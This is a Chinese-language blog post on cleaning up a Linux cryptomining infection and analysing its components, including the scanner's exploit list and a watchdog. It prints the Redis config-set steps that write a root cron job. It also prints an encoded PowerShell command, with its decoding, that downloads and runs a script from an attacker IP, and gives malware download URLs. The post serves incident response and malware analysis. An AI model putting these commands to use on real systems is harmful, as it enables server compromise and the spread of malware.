linux服务器上的cad病毒,Linux挖矿病毒的清除与分析
原標(biāo)題:Linux挖礦病毒的清除與分析
*本文原創(chuàng)作者:xuing,本文屬于FreeBuf原創(chuàng)獎(jiǎng)勵(lì)計(jì)劃,未經(jīng)許可禁止轉(zhuǎn)載
起因
舍友在宿舍喊著,這服務(wù)器好卡啊,難受啊!我調(diào)侃他是不是被挖礦了,top命令看一下CPU占用。
一看嚇一跳,一個(gè)叫做sysupdate的進(jìn)程占據(jù)了絕大部分的CPU資源。CPU使用率接近100%。
看來被挖礦是坐實(shí)了。
清除過程 確定病因
這個(gè)病毒還不是算很變態(tài),很多挖礦病毒,使用top命令都看不到挖礦程序的進(jìn)程。
基本可以確定這個(gè)占據(jù)絕大部分cpu資源的進(jìn)程sysupdate,就是挖礦程序了,我們需要先找到他。
使用命令:
ps -aux | grep sysupdate
查看病毒的PID號。
為了獲取絕對路徑,使用:
ls -l /proc/{pid號}/exe
發(fā)現(xiàn)sysupdate的絕對路徑在/etc/sysupdate。
下載下來,上傳到VirusTotal。
如圖所示,就是他,挖礦病毒沒跑了。
開始清除
首先干掉進(jìn)程:kill -9 {pid號}
直接rm -f sysupdate會(huì)提示類似:
rm: cannot remove 'sysupdate ': Operation not permitted
基于經(jīng)驗(yàn),應(yīng)該是病毒使用了chattr +i的命令。我們只要先執(zhí)行chattr -i sysupdate,然后就可以正常刪除了。
復(fù)發(fā)
然后..很快就又被創(chuàng)建出來了。應(yīng)該是有守護(hù)進(jìn)程什么的。
而且如果我們簡單分析一下sysupdate,其實(shí)他并不是病毒,他只是個(gè)XMR挖礦程序。
(懂我意思吧,我們必須得找到他爸爸)。
分析的方法,可以通過findStr、IDA等工具提串或者..運(yùn)行一下就明白了。下圖是我虛擬機(jī)運(yùn)行的截圖。
好,我知道大家都不關(guān)心這個(gè)。
定時(shí)任務(wù)
我是先去看了下日志..發(fā)現(xiàn)什么都沒有Orz,應(yīng)該是被清了。
那還是先來檢查下定時(shí)任務(wù)吧:
crontab -l或者cat /var/spool/cron/root
還可以去查看定時(shí)任務(wù)的日志。
more /var/log/cron log
太多的話,可以在后面加上| grep -v {要排除的關(guān)鍵字}來排除無用信息。
update.sh分析
找到了這個(gè)定時(shí)執(zhí)行的源頭,我們來簡單分析一下。update.sh的內(nèi)容和相關(guān)樣本在文末有提供下載。
在/etc下下載了config.json(挖礦配置)、sysupdate(XMR挖礦軟件)、update.sh(本腳本)、networkservice(scanner 掃描并入侵其他的主機(jī))、sysguard(watchdog 用于監(jiān)控并保證病毒的正常運(yùn)行以及更新)并保證他們以root權(quán)限運(yùn)行。
干掉別的挖礦病毒(見kill_miner_proc函數(shù))。
創(chuàng)建/root/.ssh/authorized_keys,添加病毒作者自己的公鑰,保證其可以使用SSH登錄到服務(wù)器,算是個(gè)后門吧。
然后就是添加定時(shí)任務(wù),為文件添加chattr +i,修改IPTABLES,清楚日志,關(guān)閉SELinux等等。
修復(fù)
1.rm /var/spool/cron/root或者 crontab -r刪除定時(shí)任務(wù)。
2.kill命令將相關(guān)進(jìn)程干掉,用chattr -i和rm命令,將上述/etc下的文件全部刪除。
3./root/.ssh/authorized_keys也刪掉或者修復(fù)。
至于IPTABLES、SELinux的恢復(fù),就看大家自己的需求了。
樣本分析:networkservice文件的分析 分析準(zhǔn)備
查殼是UPX,直接使用upx -d就能脫殼了。
IDA打開發(fā)現(xiàn)結(jié)構(gòu)很亂,Shift+F8打開Program Segmentation。
看到.gopclntab,基本就可以確定是golang編寫的。我們這里使用IDAGolangHelper來幫助恢復(fù)符號信息。
從Github下載下來后,將腳本拷貝到IDA目錄的python文件夾下,重啟IDA,菜單選擇File- Command..導(dǎo)入go_entry.py并運(yùn)行。
PS:這里IDA7.0可能會(huì)遇到idc_bc695.py文件的MakeStr報(bào)錯(cuò),這里給出看雪的解決辦法。
如圖所示,前兩個(gè)按鈕是用于檢測Go語言的版本,輸出在Output window內(nèi)。我們這里選擇Go1.10。然后按下剩下全部按鈕進(jìn)行修復(fù)~
再次看Functions window就舒服多了。不過字符串還是看著非常非常難受,因?yàn)镚olang的字符串是堆成一坨的,用的時(shí)候通過偏移以及長度取。IDA沒法很好的識別,只能自己從偏移處選定指定長度再按下A鍵進(jìn)行標(biāo)注。如果大佬們有更好的方式或者腳本,請務(wù)必賜教。
功能分析
我們接下來就可以從main_main函數(shù)開始看,整個(gè)程序的大概流程。
1.首先會(huì)去hxxps://pixeldra.in/api/download/I9RRye下載ips_cn.txt并保存為dkelc。
2.ips_cn.txt的內(nèi)容實(shí)際上就是大量的國內(nèi)ip段的十進(jìn)制表示,為之后的掃描入侵做準(zhǔn)備。
程序內(nèi)包含了大量的exploit。基本都是RCE即遠(yuǎn)程命令執(zhí)行,下表做了部分列舉:
Redis未授權(quán)RCE Hadoop未授權(quán)RCE Drupal CVE-2018-7600 ElasticSearch CVE-2015-1427ElasticSearch CVE-2014-3120Redis爆破模塊Spring CVE-2018-1273Sqlserver Exploit模塊ThinkPHP5 RCEWeblogic CVE-2017-10271
以Redis未授權(quán)漏洞為例作分析,首先會(huì)去嘗試空口令和弱口令爆破,如果成功連接。
首先設(shè)置Redis的stop-writes-on-bgsave-error為no。執(zhí)行Redis命令FlushAll清空數(shù)據(jù)表。
設(shè)置dbfilename為Root,即設(shè)置持久化文件名為root,對應(yīng)的Redis命令為:
config set dbfilename root
緊接著設(shè)置dir到定時(shí)任務(wù)目錄/var/spool/cron,對應(yīng)Redis命令為
config set dir "/var/spool/cron"
執(zhí)行完上面的命令后,Redis之后的數(shù)據(jù)就會(huì)保存到/var/spool/cron/root,即Root用戶的定時(shí)任務(wù)文件里。
緊接著拼接curl下載并執(zhí)行遠(yuǎn)程shell的語句,并調(diào)用Save寫入文件中。
sysguard
作者叫他是Watchdog,主要功能就是監(jiān)控自己的各程序,定時(shí)任務(wù)等是否啟動(dòng)正常。不知道和網(wǎng)上的watchdogs挖礦病毒有沒有聯(lián)系。
在分析過程中,發(fā)現(xiàn)不僅僅有Linux版,還有Windows版。
對于windows,會(huì)去執(zhí)行下面的命令:
powershell-windowstylehidden-nop-encaQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQAMwAuADIANAA1AC4AMgAyADIALgA1ADcAOgA4ADYANgA3AC8ANgBIAHEASgBCADAAUwBQAFEAcQBiAEYAYgBIAEoARAAvAHUAcABkAGEAdABlAC4AcABzADEAJwApAA==
base64解密為:
iex(New-Object Net.WebClient).DownloadString('http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1')
即下載執(zhí)行update.ps1,沒什么新意,火絨就可以查殺攔截:
windows版的下載地址如下,因?yàn)槭荊o語言編寫的,其實(shí)內(nèi)容都是大同小異的:
hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysupdate.exe hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysguard.exe hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/networkservice.exe hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1 樣本下載 https://github.com/xuing/hello-world/blob/master/%E6%8C%96%E7%9F%BFlinux_sysupdate.zip
*本文原創(chuàng)作者:xuing,本文屬于FreeBuf原創(chuàng)獎(jiǎng)勵(lì)計(jì)劃,未經(jīng)許可禁止轉(zhuǎn)載返回搜狐,查看更多
責(zé)任編輯:
總結(jié)
以上是生活随笔為你收集整理的linux服务器上的cad病毒,Linux挖矿病毒的清除与分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: aop日志 android,ASM实现A
- 下一篇: sql server的linux版命令行